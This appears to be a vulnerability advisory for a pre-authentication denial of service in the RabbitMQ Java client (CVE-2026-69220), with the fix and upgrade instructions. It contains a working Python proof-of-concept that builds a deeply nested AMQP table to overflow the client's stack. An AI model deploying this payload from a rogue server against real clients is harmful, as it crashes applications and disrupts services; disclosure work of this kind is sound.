highCVE-2026-69220Aug 18, 2026

CVE-2026-69220: RabbitMQ Java Client Uncontrolled Recursion DoS via Nested AMQP Tables

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A malicious AMQP server can crash any RabbitMQ Java client application before authentication completes by sending a deeply nested table structure that overflows the JVM call stack.

Packagecom.rabbitmq:amqp-client
Ecosystemmaven
Affected<= 5.33.0
Fixed in5.33.1
CVE-2026-69220: RabbitMQ Java Client Uncontrolled Recursion DoS via Nested AMQP Tables

The problem

ValueReader.java in com.rabbitmq:amqp-client implements AMQP field-table parsing through three mutually recursive methods: readTable() calls readFieldValue(), which calls back into readTable() or readArray() for nested types 'F' and 'A'. There is no depth counter or recursion limit anywhere in the chain.

Because the first server frame sent during an AMQP handshake is connection.start, which carries a server-properties table, this is exploitable pre-authentication. Any client that connects to a hostile server (or is intercepted by a MitM) is at risk. A StackOverflowError on the I/O thread kills the connection and cannot be caught by normal application error handling.

Proof of concept

A working proof-of-concept for CVE-2026-69220 in com.rabbitmq:amqp-client, with the exact payload below.

python
# Minimal proof-of-concept: craft a connection.start server-properties field
# that nests ~580 AMQP tables to blow the default JVM stack (~512 KB, ~864 bytes/frame).
#
# AMQP wire encoding per nesting level (7 bytes each):
#   [4-byte table length][1-byte key length = 1][1-byte key = 'k'][1-byte type tag = 0x46 ('F')]
# ... then the inner table begins at byte 8 and repeats.
#
# Total payload size: 580 levels * 7 bytes = ~4060 bytes (well within the
# 131072-byte AMQP max frame size). Wrap in a valid connection.start frame
# and serve it from a rogue AMQP server on port 5672.

import struct

DEPTH = 580       # enough to overflow the default JVM stack
TABLE_TYPE = 0x46  # 'F' = nested table

def build_nested_table(depth):
    """Recursively build a right-nested AMQP field-table byte string."""
    if depth == 0:
        # innermost: empty table
        return struct.pack('>I', 0)  # 4-byte length = 0
    inner = build_nested_table(depth - 1)
    key   = b'\x01k'              # 1-byte length + 1-byte key 'k'
    entry = key + bytes([TABLE_TYPE]) + inner
    return struct.pack('>I', len(entry)) + entry

nested_payload = build_nested_table(DEPTH)

# Wrap in AMQP connection.start (frame type 1, channel 0, method 10/10)
# server-properties field is a long table; substitute nested_payload there.
# In a real attack, serve this from a socket listener on port 5672.
print(f'Nested table payload: {len(nested_payload)} bytes, depth={DEPTH}')
print('Serving this in connection.start server-properties triggers StackOverflowError')
print('on ValueReader.readTable() -> readFieldValue() -> readTable() ... recursion.')

The root cause is CWE-674: Uncontrolled Recursion. readTable() and readArray() each call readFieldValue(), which dispatches back to readTable() (type tag 0x46 'F') or readArray() (type tag 0x41 'A') without any depth guard. Each recursive Java stack frame consumes roughly 864 bytes; 580 levels exhausts a default 512 KB thread stack and raises StackOverflowError.

The patch (PR #2007 / commits 09af76f and db89e34) adds an integer depth parameter threaded through all three methods and throws MalformedFrameException when the counter exceeds a fixed threshold (32). The fix converts the unbounded mutual recursion into a bounded one that rejects malformed input at the protocol layer before it can damage the JVM thread.

The fix

Upgrade com.rabbitmq:amqp-client to 5.33.1 or later. The patched ValueReader enforces a maximum nesting depth of 32 for AMQP field tables and arrays; frames exceeding that depth are rejected with MalformedFrameException before any stack exhaustion can occur.

Maven: <dependency> <groupId>com.rabbitmq</groupId> <artifactId>amqp-client</artifactId> <version>5.33.1</version> </dependency>

Gradle: implementation 'com.rabbitmq:amqp-client:5.33.1'

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research